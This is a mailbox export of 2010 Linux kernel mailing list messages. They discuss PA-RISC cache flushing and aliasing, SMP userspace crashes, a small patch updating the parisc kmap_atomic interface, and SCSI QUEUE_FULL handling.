	 <alpine.DEB.1.10.1010271820320.18202@artax.karlin.mff.cuni.cz>
	 <1288197324.6886.2.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010271837040.18202@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288199255 26614 80.91.229.12 (27 Oct 2010 17:07:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 17:07:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 19:07:32 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB9TH-00009z-EI
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 19:07:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752337Ab0J0RHa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 13:07:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36424 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752327Ab0J0RHa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 13:07:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 46B098EE100;
	Wed, 27 Oct 2010 10:07:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mjagDZP1-kzS; Wed, 27 Oct 2010 10:07:28 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B3FA08EE0F8;
	Wed, 27 Oct 2010 10:07:27 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010271837040.18202@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3186>

On Wed, 2010-10-27 at 18:50 +0200, Mikulas Patocka wrote:
> > > Why is Kyle than suggesting that I am lucky because I have no L2 cache 
> > > (and therefore, Linux runs faster)?
> > > 
> > > Why are people talking here about flushing 32MB or 64MB L2 on fork()?
> > > 
> > > Or is it that you need to flush only L1 cache but the architecture forces 
> > > flush of both caches?
> > 
> > There's only a couple of flush instructions: fic and fdc ... they have
> > to flush all caches.  We did argue the toss on this with the HP
> > processor people since aliasing, which is primarily where we need
> > flushes for control, only occurs in the L1 cache.  However, they pointed
> > out that if they made fic and fdc L1 specific, we'd have no control over
> > DMA type ops which have to reach physical memory.
> > 
> > > I'd still like to see if someone with PA8800 or PA8900 with L2 ran that 
> > > shared memory experiment to actually *prove* that L2 is physically indexed 
> > > and that the L1 equivalency modulus is 4MB. I.e. not rely on what you 
> > > heard somewhere, but rely on what you see.
> > 
> > We already did all of that years ago just trying to make the pa8x00
> 
> If it is really proved, OK.
> 
> So, the CPU takes a hash of bits some bits up to 4MB and uses them to 
> calculate an index into 4-way not-power-of-two-sized L1 cache?
> 
> > chips work with linux ... they didn't for about 18 months.
> > 
> > James
> 
> Unfortunatelly, I still get some userspace crashes on SMP, I already found 
> one reproducible crash (running "make install" on gcc-4.5.1). The crash 
> happens with some probability, but the probability is high enough so that 
> it's reproducible.
> 
> Do you have some idea where cache flushing is missing so that I could try 
> if it fixes my case?

This is what we know

http://wiki.parisc-linux.org/TestCases

> BTW. if you flush cache on kmap, I think it couldn't work in multithreaded 
> environment at all --- i.e. the program has "int a, b;" both variables 
> share the cacheline, one thread is accessing "a" via kmap and the other 
> thread writes to b directly, for example "b = 5". Then, cache flushing 
> won't help and one of the variables will be trashed. You need kmap address 
> to be congruent with the linear address. But I think it's not reason for 
> my crash because neither gmake nor bash (that crashes) is multithreaded.

That statement assumes the threads share a data structure but are not
congruent ... which certainly isn't true for userspace.  Our only
incongruency which gives rise to aliasing is between the kernel and user
address spaces and we don't do data sharing between the two without
pretty severe accessor restrictions.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Wed, 27 Oct 2010 13:35:47 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <1288204547.6886.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288204552 20038 80.91.229.12 (27 Oct 2010 18:35:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 18:35:52 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>
To: linux-mm <linux-mm@kvack.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 20:35:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBAql-0004KS-6Y
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 20:35:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755052Ab0J0Sfu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 14:35:50 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47072 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754931Ab0J0Sft (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 14:35:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 917BC8EE11A;
	Wed, 27 Oct 2010 11:35:49 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RwoLbLWF7CnR; Wed, 27 Oct 2010 11:35:49 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0CA388EE100;
	Wed, 27 Oct 2010 11:35:48 -0700 (PDT)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3187 gmane.linux.kernel.mm:54517 gmane.linux.kernel.cross-arch:8177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3187>

This commit:

commit 3e4d3af501cccdc8a8cca41bdbe57d54ad7e7e73
Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
Date:   Tue Oct 26 14:21:51 2010 -0700

    mm: stack based kmap_atomic()

overlooked the fact that parisc uses kmap as a coherence mechanism, so
even though we have no highmem, we do need to supply our own versions of
kmap (and atomic).  This patch converts the parisc kmap to the form
which is needed to keep it compiling (it's a simple prototype and name
change).

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index dba11ae..f388a85 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -126,20 +126,20 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-static inline void *kmap_atomic(struct page *page, enum km_type idx)
+static inline void *__kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
 }
 
-static inline void kunmap_atomic_notypecheck(void *addr, enum km_type idx)
+static inline void __kunmap_atomic(void *addr)
 {
 	kunmap_parisc(addr);
 	pagefault_enable();
 }
 
-#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
-#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_prot(page, prot)	kmap_atomic(page)
+#define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
 #endif
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 01:18:06 -0400 (EDT)
Lines: 68
Approved: news@gmane.org
Message-ID: <20101028051807.539484D30@hiauly1.hia.nrc.ca>
References: <1288204547.6886.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288243095 31645 80.91.229.12 (28 Oct 2010 05:18:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 05:18:15 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org, peterz@infradead.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 07:18:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBKsM-0003wM-GB
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 07:18:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754073Ab0J1FSJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 01:18:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1430 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754067Ab0J1FSJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 01:18:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 539484D30; Thu, 28 Oct 2010 01:18:07 -0400 (EDT)
In-Reply-To: <1288204547.6886.23.camel@mulgrave.site> from "James Bottomley" at Oct 27, 2010 01:35:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3189 gmane.linux.kernel.mm:54531 gmane.linux.kernel.cross-arch:8183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3189>

Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

Sent effectively the same change to parisc-linux list months ago...

> This commit:
> 
> commit 3e4d3af501cccdc8a8cca41bdbe57d54ad7e7e73
> Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> Date:   Tue Oct 26 14:21:51 2010 -0700
> 
>     mm: stack based kmap_atomic()
> 
> overlooked the fact that parisc uses kmap as a coherence mechanism, so
> even though we have no highmem, we do need to supply our own versions of
> kmap (and atomic).  This patch converts the parisc kmap to the form
> which is needed to keep it compiling (it's a simple prototype and name
> change).
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> 
> ---
> 
> diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
> index dba11ae..f388a85 100644
> --- a/arch/parisc/include/asm/cacheflush.h
> +++ b/arch/parisc/include/asm/cacheflush.h
> @@ -126,20 +126,20 @@ static inline void *kmap(struct page *page)
>  
>  #define kunmap(page)			kunmap_parisc(page_address(page))
>  
> -static inline void *kmap_atomic(struct page *page, enum km_type idx)
> +static inline void *__kmap_atomic(struct page *page)
>  {
>  	pagefault_disable();
>  	return page_address(page);
>  }
>  
> -static inline void kunmap_atomic_notypecheck(void *addr, enum km_type idx)
> +static inline void __kunmap_atomic(void *addr)
>  {
>  	kunmap_parisc(addr);
>  	pagefault_enable();
>  }
>  
> -#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
> -#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
> +#define kmap_atomic_prot(page, prot)	kmap_atomic(page)
> +#define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
>  #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
>  #endif
>  
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Thu, 28 Oct 2010 02:04:37 -0400 (EDT)
Lines: 100
Approved: news@gmane.org
Message-ID: <20101028060439.5FA924CFC@hiauly1.hia.nrc.ca>
References: <1288199246.6886.9.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288245903 7966 80.91.229.12 (28 Oct 2010 06:05:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 06:05:03 +0000 (UTC)
Cc: mikulas@artax.karlin.mff.cuni.cz, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 08:05:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBLbd-0000hi-PW
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 08:04:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752637Ab0J1GE4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 02:04:56 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1441 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752633Ab0J1GE4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 02:04:56 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5FA924CFC; Thu, 28 Oct 2010 02:04:39 -0400 (EDT)
In-Reply-To: <1288199246.6886.9.camel@mulgrave.site> from "James Bottomley" at Oct 27, 2010 12:07:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3190
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3190>

> On Wed, 2010-10-27 at 18:50 +0200, Mikulas Patocka wrote:
> > > > Why is Kyle than suggesting that I am lucky because I have no L2 cache 
> > > > (and therefore, Linux runs faster)?
> > > > 
> > > > Why are people talking here about flushing 32MB or 64MB L2 on fork()?
> > > > 
> > > > Or is it that you need to flush only L1 cache but the architecture forces 
> > > > flush of both caches?
> > > 
> > > There's only a couple of flush instructions: fic and fdc ... they have
> > > to flush all caches.  We did argue the toss on this with the HP
> > > processor people since aliasing, which is primarily where we need
> > > flushes for control, only occurs in the L1 cache.  However, they pointed
> > > out that if they made fic and fdc L1 specific, we'd have no control over
> > > DMA type ops which have to reach physical memory.
> > > 
> > > > I'd still like to see if someone with PA8800 or PA8900 with L2 ran that 
> > > > shared memory experiment to actually *prove* that L2 is physically indexed 
> > > > and that the L1 equivalency modulus is 4MB. I.e. not rely on what you 
> > > > heard somewhere, but rely on what you see.
> > > 
> > > We already did all of that years ago just trying to make the pa8x00
> > 
> > If it is really proved, OK.
> > 
> > So, the CPU takes a hash of bits some bits up to 4MB and uses them to 
> > calculate an index into 4-way not-power-of-two-sized L1 cache?
> > 
> > > chips work with linux ... they didn't for about 18 months.
> > > 
> > > James
> > 
> > Unfortunatelly, I still get some userspace crashes on SMP, I already found 
> > one reproducible crash (running "make install" on gcc-4.5.1). The crash 
> > happens with some probability, but the probability is high enough so that 
> > it's reproducible.
> > 
> > Do you have some idea where cache flushing is missing so that I could try 
> > if it fixes my case?

I also see random userspace segmentation faults on SMP.  This is not
restricted to PA8800/PA8900 processors, although it is less frequent
on earlier processors.  The probability of completing a full GCC build
on a SMP system is relatively low.

Some kernels (e.g., 2.6.19) have been better than others but the reason
is unknown.

> This is what we know
> 
> http://wiki.parisc-linux.org/TestCases

The wiki certainly has a number of testcases that fail with high probability.
The testcases all involve multiple threads and near simultaneous execution
of a clone and a fork.  The parent forks after the clone.  The segvs always
occur in the thread created by the clone syscall.  The stack created for
the thread is corrupted by the fork.  It is allocated by a mmap call.
If the fork is delayed, the segvs don't occur.

However, I'm totally convinced there are more problems than the one above.
They are just harder to reproduce.  In general, GCC builds don't involve
multithreaded applications.

> > BTW. if you flush cache on kmap, I think it couldn't work in multithreaded 
> > environment at all --- i.e. the program has "int a, b;" both variables 
> > share the cacheline, one thread is accessing "a" via kmap and the other 
> > thread writes to b directly, for example "b = 5". Then, cache flushing 
> > won't help and one of the variables will be trashed. You need kmap address 
> > to be congruent with the linear address. But I think it's not reason for 
> > my crash because neither gmake nor bash (that crashes) is multithreaded.

Agree.

> That statement assumes the threads share a data structure but are not
> congruent ... which certainly isn't true for userspace.  Our only
> incongruency which gives rise to aliasing is between the kernel and user
> address spaces and we don't do data sharing between the two without
> pretty severe accessor restrictions.

My sense is the above isn't correct.  Even if userspace is congruent,
it would seem to me that another thread could dirty the cache line after
kmap does its flush.  The design of the Linux memory management system
might prevent this from happening, but it's not obvious.  That's why
I thought the kernel should use also use congruent mappings.

My 32-bit UP c3750 is fully stable.  It has run for months and I don't
see any wierd segmentation faults in userspace doing gcc builds.  On
the otherhand, the testcases on the wiki crash with high probabiity.
So, I think we are dealing with two different, but possibly related
issues.  One is a MP issue.  The other is a clone/fork race.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: sym53c8xx_2 data corruption
Date: Wed, 27 Oct 2010 23:59:22 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20101028055922.GE32200@lackof.org>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca> <1288155041.19649.354.camel@mulgrave.site> <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz> <1288190807.4692.30.camel@mulgrave.site> <alpine.DEB.1.10.1010271803010.18202@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288246006 8317 80.91.229.12 (28 Oct 2010 06:06:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 06:06:46 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	matthew@wil.cx
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Oct 28 08:06:45 2010
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1PBLdK-0001Ja-DI
	for lnx-linux-scsi@lo.gmane.org; Thu, 28 Oct 2010 08:06:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755142Ab0J1GGl (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 28 Oct 2010 02:06:41 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:34513 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754244Ab0J1GGk (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Thu, 28 Oct 2010 02:06:40 -0400
X-Greylist: delayed 436 seconds by postgrey-1.27 at vger.kernel.org; Thu, 28 Oct 2010 02:06:40 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7D17033E0132;
	Wed, 27 Oct 2010 23:59:22 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7NJMDXu+WzML; Wed, 27 Oct 2010 23:59:22 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 1D93733E0240; Wed, 27 Oct 2010 23:59:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010271803010.18202@artax.karlin.mff.cuni.cz>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:63149 gmane.linux.ports.parisc:3191
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/63149>

On Wed, Oct 27, 2010 at 06:19:32PM +0200, Mikulas Patocka wrote:
...
> Requeuing forever is dangerous anyway, a device returning QUEUE_FULL 
> constantly could deadlock the system. Question: is it better to risk a 
> deadlock with a broken device or to risk a false timeout under high load? 
> --- I don't know --- maybe there are valid cases where the device is 
> returning QUEUE_FULL for long time (some raid reconfiguration?) ... do you 
> know about them?

This was a problem in multi-initiator SCSI systems and I'm guessing also
an issue for FC SAN. Multiple hosts "compete" for filling the device's
available command slots. If all hosts used available queue_depth
(say 32 commands) and device only supported 64 commands at a time,
then the 65th command from host #3 might get QUEUEFULL status back.

I'm not sure what the difference is to BUSY status. Wikipedia
suggests "QUEUE_FULL" is a hint that the device is already
processing commands from the same initiator.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 09:03:49 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1288274629.3043.1.camel@mulgrave.site>
References: <20101028051807.539484D30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288274639 8643 80.91.229.12 (28 Oct 2010 14:03:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 14:03:59 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-arch@vger.kernel.org, 
 linux-parisc@vger.kernel.org, peterz@infradead.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-linux-mm@kvack.org Thu Oct 28 16:03:56 2010
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1PBT58-00024y-Ta
	for glkm-linux-mm-2@m.gmane.org; Thu, 28 Oct 2010 16:03:55 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id BBE158D001D; Thu, 28 Oct 2010 10:03:53 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B2B5E8D0015; Thu, 28 Oct 2010 10:03:53 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 967348D001D; Thu, 28 Oct 2010 10:03:53 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail138.messagelabs.com (mail138.messagelabs.com [216.82.249.35])
	by kanga.kvack.org (Postfix) with SMTP id 37BFE8D0015
	for <linux-mm@kvack.org>; Thu, 28 Oct 2010 10:03:53 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-4.tower-138.messagelabs.com!1288274632!60782363!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.0 required=7.0 tests=
Original-Received: (qmail 14313 invoked from network); 28 Oct 2010 14:03:52 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-4.tower-138.messagelabs.com with SMTP; 28 Oct 2010 14:03:52 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 746628EE114;
	Thu, 28 Oct 2010 07:03:51 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id txp1NWgwbT2C; Thu, 28 Oct 2010 07:03:51 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D9EDB8EE0F8;
	Thu, 28 Oct 2010 07:03:50 -0700 (PDT)
In-Reply-To: <20101028051807.539484D30@hiauly1.hia.nrc.ca>
